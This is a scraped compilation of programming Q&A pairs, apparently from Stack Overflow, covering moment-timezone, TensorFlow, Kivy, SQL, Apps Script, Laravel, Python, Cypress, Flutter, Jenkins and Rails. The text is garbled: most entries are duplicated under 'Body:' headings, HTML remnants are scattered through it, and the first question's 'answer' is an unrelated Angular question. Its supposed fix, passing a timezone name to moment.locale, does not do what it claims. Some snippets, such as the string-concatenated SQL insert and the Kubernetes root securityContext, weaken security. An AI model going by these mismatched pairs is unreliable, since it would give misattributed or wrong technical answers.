I was trying to find how to get code 'fr' from zone name 'Europe/Paris' all day, but with no luck.

I read all their docs and couldn't find that function either, so i need help on this one.

Closest what i found is this. I need this function but in reverse, to pass country name and get country code.

答:
I was trying to below code in my Angular(v12.0.5) project and get this error.

```<code>var get_locale = moment.tz.zone('America/New_York').countries();
moment.locale(get_locale);
</code>```

Error -

package.json -

```<code>"dependencies": {
    "@angular/animations": "^12.0.5",
    "@angular/cdk": "~12.2.13",
    "@angular/common": "~12.0.3",
    "@angular/compiler": "~12.0.3",
    "@angular/core": "~12.0.3",
    "@angular/forms": "~12.0.3",
    "@angular/material": "~12.2.13",
    "@angular/material-moment-adapter": "^13.2.2",
    "@angular/platform-browser": "~12.0.3",
    "@angular/platform-browser-dynamic": "~12.0.3",
    "@angular/router": "~12.0.3",
    "moment": "^2.29.1",
    "rxjs": "~6.6.0",
    "tslib": "^2.1.0",
    "zone.js": "~0.11.4"
  },
  "devDependencies": {
    "@angular-devkit/build-angular": "~12.0.3",
    "@angular/cli": "~12.0.3",
    "@angular/compiler-cli": "~12.0.3",
    "@types/jasmine": "~3.6.0",
    "@types/moment-timezone": "^0.5.30",
    "@types/node": "^12.11.1",
    "typescript": "~4.2.3"
  }
</code>```

Then I found the solution in moment doc -

```<code>const get_country = moment.tz.guess(true); // Asia/Calcutta
const get_locale = moment.locale(get_country); // en
</code>```

Body:
I was trying to below code in my Angular(v12.0.5) project and get this error.

var get_locale = moment.tz.zone('America/New_York').countries();
moment.locale(get_locale);

Error -

package.json -

"dependencies": {
    "@angular/animations": "^12.0.5",
    "@angular/cdk": "~12.2.13",
    "@angular/common": "~12.0.3",
    "@angular/compiler": "~12.0.3",
    "@angular/core": "~12.0.3",
    "@angular/forms": "~12.0.3",
    "@angular/material": "~12.2.13",
    "@angular/material-moment-adapter": "^13.2.2",
    "@angular/platform-browser": "~12.0.3",
    "@angular/platform-browser-dynamic": "~12.0.3",
    "@angular/router": "~12.0.3",
    "moment": "^2.29.1",
    "rxjs": "~6.6.0",
    "tslib": "^2.1.0",
    "zone.js": "~0.11.4"
  },
  "devDependencies": {
    "@angular-devkit/build-angular": "~12.0.3",
    "@angular/cli": "~12.0.3",
    "@angular/compiler-cli": "~12.0.3",
    "@types/jasmine": "~3.6.0",
    "@types/moment-timezone": "^0.5.30",
    "@types/node": "^12.11.1",
    "typescript": "~4.2.3"
  }

Then I found the solution in moment doc -

const get_country = moment.tz.guess(true); // Asia/Calcutta
const get_locale = moment.locale(get_country); // en


问:
I have error "cudaGetDevice() failed. Status: initialization error for CNN Model
i'm new in Tensorflow and CNN.

2 Days Ago, i tried to run Jupyter Notebook on GPU, and it work, yesterday until now, i tried to run the notebook again, but i get this error message:

InternalError: cudaGetDevice() failed. Status: initialization error

So I tried to use Google Collab and run it again with GPU in Google  Collab. But turns out I got the same error again.

Here is the full error i get:

I don't understand what is happening, and what is the meaning behind all those codes.
I tried different model architecture and it's the same.

What should I do to fix this error? Thank You

答:
If you have any environment about tensorflow, uninstall it and install tensorflow to the base(root)

conda activate base

conda install -c anaconda pip

pip install tensorflow


问:
difference between "self" and "root" in kivy
What is the difference between self and root in kivy?
I couldn't clear my doubt with info provided on kivy official website.

Thanks for help

答: root represents the top widget in the rule and self represents the current widget


问:
Unique record in Asp.Net SQL
I asked this question previously but the answers weren't what I was looking for.

I created a table in Asp.net without using code. It contains two columns.

YourUserId and FriendUserId

This is a many to many relationship.

Heres what I want:

There can be multiple records with your name as the UserId, there can also be multiple records with FriendUserId being the same...but there cannot be multiple records with both being the same. For example:

Dave : Greg

Dave : Chris

Greg : Chris

Chris : Greg

is good

Dave : Greg

Dave : Greg

is not good.

I right clicked on the table and chose Indexes/Keys. I then put both columns in the columns section and chose to make the unique. I thought this would make them unique as a whole but individually not unique.

If you go to the Dataset, it show keys next to both columns and says that there is a constraint with both columns being checked.

Is there a way of just making sure that you are not inserting a duplicate copy of a record into the table without individual columns being unique?

I tried controling it with my sql insert statement but that did not work. This is what I tried.

INSERT INTO [FriendRequests] ([UserId], [FriendUserId]) VALUES ('"+UserId+"', '"+PossibleFriend+"') WHERE NOT EXIST (SELECT [UserId], [FriendUserId] FROM [FriendRequests])

That didn't work for some reason.
Thank you for your help!

答: Sounds like you need a composite key to make both fields a single key.</p>

ContentLicense: CC BY-SA 2.5

Title: Unique record in Asp.Net SQL

OwnerDisplayName: Miyagi Coder


问:
Script is not highlighting all repeated words, how can I fix this
I have the below script running where it needs to search the entire google doc for specific words I have chosen and highlight them within the doc. It is currently doing this however for some repeated words it does not highlight these. How could I amend the script to ensure all words are highlighted.</p>
```<code>
function highlightSentences() {
  const doc = DocumentApp.getActiveDocument();
  const body = doc.getBody();
  sentences.forEach(sentence => {
    const rangeElement = body.findText(sentence);
    if (rangeElement) {
      const startOffset = rangeElement.getStartOffset();
      const endOffset = rangeElement.getEndOffsetInclusive();
      const element = rangeElement.getElement();
      if (element.editAsText) {
        const textElement = element.editAsText();
        textElement.setBackgroundColor(startOffset, endOffset, "#fcfc03");
      }
    }
  });
}```
</code>```

答:
Unfortunately, the findText method does only return one element, as stated in the documentation that can be read here. Nevertheless, all sentences can still be found easily using a while loop, where we keep searching for our desired sentence until the findText function does not find any more. You could adapt your code so something like:

function highlightSentences() {

  const doc = DocumentApp.getActiveDocument();
  const body = doc.getBody();

  var sentences = ["search", "these"]; //An array of things to highlight

  for (var sentence of sentences){
    var rangeElement = body.findText(sentence);

    while (rangeElement != null) {

      var foundText = rangeElement.getElement().asText();

      var startOffset = rangeElement.getStartOffset();
      var endOffset = rangeElement.getEndOffsetInclusive();

      foundText.setBackgroundColor(startOffset, endOffset, "#fcfc03");

      rangeElement = body.findText(sentence, rangeElement);
    }
  }
}
```

Body:
I have the below script running where it needs to search the entire google doc for specific words I have chosen and highlight them within the doc. It is currently doing this however for some repeated words it does not highlight these. How could I amend the script to ensure all words are highlighted.

function highlightSentences() {
  const doc = DocumentApp.getActiveDocument();
  const body = doc.getBody();
  sentences.forEach(sentence => {
    const rangeElement = body.findText(sentence);
    if (rangeElement) {
      const startOffset = rangeElement.getStartOffset();
      const endOffset = rangeElement.getEndOffsetInclusive();
      const element = rangeElement.getElement();
      if (element.editAsText) {
        const textElement = element.editAsText();
        textElement.setBackgroundColor(startOffset, endOffset, "#fcfc03");
      }
    }
  });
}```


问:
Migration not inserting data to table?
The below migration is running successfully with no errors but it's not inserting any data do table. Why it can be? can some one tell me what is wrong here?</p>
```<code>use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;

class AddValuesTOBusiness extends Migration
{

    public function up()
    {
       //  Schema::table('business', function (Blueprint $table) {
            DB::table('business')->insertOrIgnore([[
                'id' => 1,
                'name' => 'fg',
                'description' => 'best IT & software solutions',
                'clientAddress' => 'fdgd 682028',
                'status' => 'active',
                'email' => 'fg@y.com',
                'phone' => 3455645656,
                'appInfo' => 'learningApp',
                'defaultClient' => true,
                'eustardApp' => true,
                'sellerCategory' => 'internal',
                'created_at' => now()]
            ]);
       // }
    }

    public function down()
    {
      // Schema::table('business', function (Blueprint $table) {
        DB::table('business')->truncate();
      //}
    }
}
</code>```

答:
You are not getting any error because you are using "insertOrIgnore", this method does not throw any error but simply ignores and moves forward.
Your error is probably some data validation, for example, the id that should be set automatically by the database.

Try using the "insert" method instead and you'll probably get the error you are looking for

Title: Migration not inserting data to table?

Body:
The below migration is running successfully with no errors but it's not inserting any data do table. Why it can be? can some one tell me what is wrong here?

use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;

class AddValuesTOBusiness extends Migration
{

    public function up()
    {
       //  Schema::table('business', function (Blueprint $table) {
            DB::table('business')->insertOrIgnore([[
                'id' => 1,
                'name' => 'fg',
                'description' => 'best IT & software solutions',
                'clientAddress' => 'fdgd 682028',
                'status' => 'active',
                'email' => 'fg@y.com',
                'phone' => 3455645656,
                'appInfo' => 'learningApp',
                'defaultClient' => true,
                'eustardApp' => true,
                'sellerCategory' => 'internal',
                'created_at' => now()]
            ]);
       // }
    }

    public function down()
    {
      // Schema::table('business', function (Blueprint $table) {
        DB::table('business')->truncate();
      //}
    }
}


问:
Sort dictionary value in hierarchy
I want to display the key value of users based on role hierarchy

users = {'Jhon': 'CEO', 'Matew': 'CTO', 'Tom': 'Tester'}
keys_list = list(users)
print(keys_list[0], "-")
itercars = iter(keys_list)
next(itercars)
for car in itercars:
    print(car)
```
<p>Considering the users, I'm trying to get an output such as</p>
<p><strong>Expected Output</strong></p>
```Jhon - Matew ,Tom
Matew - Tom
Tom - N/A
```

I need to prioritize the users according to the role

since Jhon is CEO the output should show the people under Jhon

Thanks in advance

答:
You could create a position to level mapping using the last seen index for a position:

```<code># users = {'Jhon': 'CEO', 'Matew': 'CTO', 'Tom': 'Tester'}
users = {'Jhon': 'CEO', 'Matew': 'CTO', 'Sarah': 'CTO', 'Tom': 'Tester', 'Wick': 'Tester'}

position_to_level = {}
level_to_position = {}
for level, position in enumerate(reversed(users.values())):
    if position not in position_to_level:
        position_to_level[position] = level
        level_to_position[level] = position

levels = [level for level in level_to_position]
level_to_reports = {level: [] for level in levels}
for user, position in users.items():
    level = position_to_level[position]
    for other_level in levels:
        if level < other_level:
            level_to_reports[other_level].append(user)

for user, position in users.items():
    level = position_to_level[position]
    reports = level_to_reports[level]
    print(f'{user} - {", ".join(reports) if reports else "N/A"}')
</code>```

Output when users = {'Jhon': 'CEO', 'Matew': 'CTO', 'Tom': 'Tester'}:

```<code>Jhon - Matew, Tom
Matew - Tom
Tom - N/A
</code>```

Output when users = {'Jhon': 'CEO', 'Matew': 'CTO', 'Sarah': 'CTO', 'Tom': 'Tester', 'Wick': 'Tester'}:

```<code>Jhon - Matew, Sarah, Tom, Wick
Matew - Tom, Wick
Sarah - Tom, Wick
Tom - N/A
Wick - N/A
</code>```

Title: Sort dictionary value in hierarchy

Body:
I want to display the key value of users based on role hierarchy

users = {'Jhon': 'CEO', 'Matew': 'CTO', 'Tom': 'Tester'}
keys_list = list(users)
print(keys_list[0], "-")
itercars = iter(keys_list)
next(itercars)
for car in itercars:
    print(car)

Considering the users, I'm trying to get an output such as

Expected Output

Jhon - Matew ,Tom
Matew - Tom
Tom - N/A

I need to prioritize the users according to the role

since Jhon is CEO the output should show the people under Jhon

Thanks in advance

Body:
You could create a position to level mapping using the last seen index for a position:

# users = {'Jhon': 'CEO', 'Matew': 'CTO', 'Tom': 'Tester'}
users = {'Jhon': 'CEO', 'Matew': 'CTO', 'Sarah': 'CTO', 'Tom': 'Tester', 'Wick': 'Tester'}

position_to_level = {}
level_to_position = {}
for level, position in enumerate(reversed(users.values())):
    if position not in position_to_level:
        position_to_level[position] = level
        level_to_position[level] = position

levels = [level for level in level_to_position]
level_to_reports = {level: [] for level in levels}
for user, position in users.items():
    level = position_to_level[position]
    for other_level in levels:
        if level < other_level:
            level_to_reports[other_level].append(user)

for user, position in users.items():
    level = position_to_level[position]
    reports = level_to_reports[level]
    print(f'{user} - {", ".join(reports) if reports else "N/A"}')

Output when users = {'Jhon': 'CEO', 'Matew': 'CTO', 'Tom': 'Tester'}:

Jhon - Matew, Tom
Matew - Tom
Tom - N/A

Output when users = {'Jhon': 'CEO', 'Matew': 'CTO', 'Sarah': 'CTO', 'Tom': 'Tester', 'Wick': 'Tester'}:

Jhon - Matew, Sarah, Tom, Wick
Matew - Tom, Wick
Sarah - Tom, Wick
Tom - N/A
Wick - N/A


问:
Testing state of clicked radio button in Cypress
I'm using cypress test runner and its selector playground.
When I click radio button the value changes to false. Via selector playground I can't pick the right selector. I get the error shown in the picture.

      <input _ngcontent-qla-c109="" type="radio" class="native-input visually-hidden" name="redraw" value="false">

      No

```
<p><img src="https://i.stack.imgur.com/el16v.png" alt="ErrorPic" /></p>
<p>Many thanks in advance for any hints,
Robert</p>
<p>I've also tried</p>
<pre class="lang-js prettyprint-override"><code>cy.get(':nth-child(8) > :nth-child(1) > :nth-child(1) > .col-9 > .radio-toolbar > :nth-child(2) > label > .native-input visually-hidden')
  .should('have.value','false')
</code>```

答:
The selector you used from the selector-playground is very brittle and prone to breaking. I really recommend to use data-testid for the interactive elements:

https://docs.cypress.io/guides/references/best-practices#Selecting-Elements

Without a data-testid, i suggest you find the container element and chain this with the contains 'No' value.

I don't know the exact DOM structure but it can be something like:

cy.contains('Redraw')
  .parent()
  .contains('No')
  .should('have.value', 'false')
```

Body:
I'm using cypress test runner and its selector playground.
When I click radio button the value changes to false. Via selector playground I can't pick the right selector. I get the error shown in the picture.

      <input _ngcontent-qla-c109="" type="radio" class="native-input visually-hidden" name="redraw" value="false">

      No

Many thanks in advance for any hints,
Robert

I've also tried

cy.get(':nth-child(8) > :nth-child(1) > :nth-child(1) > .col-9 > .radio-toolbar > :nth-child(2) > label > .native-input visually-hidden')
  .should('have.value','false')


问:
Custom circle shape reactive model
Trying to reach design from screenshot.
All elements in circle must be able to work with logic which include change color.
Gray and green'ish one elements are disabled and blue'ish is active.

Probably I should use some kind of canvas to get this done, but I am not sure.

Thanks for all response!

Edit:
Very important part of logic. I want to dynamicaly change number of those circular elements.

答:
You would need to use custom painter to achieve this.
You can check out Flutter shape maker! its a tool that can help with drawing this out.</p>

Title: Custom circle shape reactive model


问:
Jenkins wrong volume permissions
I have a virtual machine hosting Oracle Linux where I've installed Docker and created containers using a docker-compose file. I placed the jenkins volume under a shared folder but when starting the docker-compose up I got the following error for Jenkins :

jenkins      | touch: cannot touch ‘/var/jenkins_home/copy_reference_file.log’: Permission denied
  jenkins      | Can not write to /var/jenkins_home/copy_reference_file.log. Wrong volume permissions?
  jenkins exited with code 1

Here's the volumes declaration

```<code>  volumes:
    - "/media/sf_devops-workspaces/dev-tools/continuous-integration/jenkins:/var/jenkins_home"
</code>```

答:
I had a similar issue with Minikube/Kubernetes just added

```<code>securityContext:
  fsGroup: 1000
  runAsUser: 0
</code>```

under deployment -> spec -> template -> spec

Title: Jenkins wrong volume permissions

Body:
I have a virtual machine hosting Oracle Linux where I've installed Docker and created containers using a docker-compose file. I placed the jenkins volume under a shared folder but when starting the docker-compose up I got the following error for Jenkins :

jenkins      | touch: cannot touch ‘/var/jenkins_home/copy_reference_file.log’: Permission denied
  jenkins      | Can not write to /var/jenkins_home/copy_reference_file.log. Wrong volume permissions?
  jenkins exited with code 1

Here's the volumes declaration

  volumes:
    - "/media/sf_devops-workspaces/dev-tools/continuous-integration/jenkins:/var/jenkins_home"

Body:
I had a similar issue with Minikube/Kubernetes just added

securityContext:
  fsGroup: 1000
  runAsUser: 0

under deployment -> spec -> template -> spec


问:
Ruby on rails, error in unit test
I has one-to many relationship, one group has many servers. To test this relation, i write this test, but it work only when I uncomented line. Why?</p>

```<code>test 'Group can include server' do
    group = groups(:default)
    group.servers << servers(:default)
    # Test work, when I uncomment this line:
    # assert_instance_of Array, group.servers
    group.save
    assert_instance_of Server, group.servers.first
end
</code>```

答:
Because group.servers isn't an Array. It behaves a lot like one, but it's actually an instance of ActiveRecord::Association::HasManyAssociation. Its ancestor class (ActiveRecord::Association::AssociationProxy) actually passes even class through to an underlying object, so group.servers.class does give Array, but it isn't really one.

Edit: Quick note to say that, while I'm pretty sure this is the reason for your failure, it doesn't make complete sense; in my test apps, the equivalent of group.servers.instance_of? Array is true, and the source of assert_instance_of implies that should be good enough.

Title: Ruby on rails, error in unit test

Body:
I has one-to many relationship, one group has many servers. To test this relation, i write this test, but it work only when I uncomented line. Why?

test 'Group can include server' do
    group = groups(:default)
    group.servers << servers(:default)
    # Test work, when I uncomment this line:
    # assert_instance_of Array, group.servers
    group.save
    assert_instance_of Server, group.servers.first
end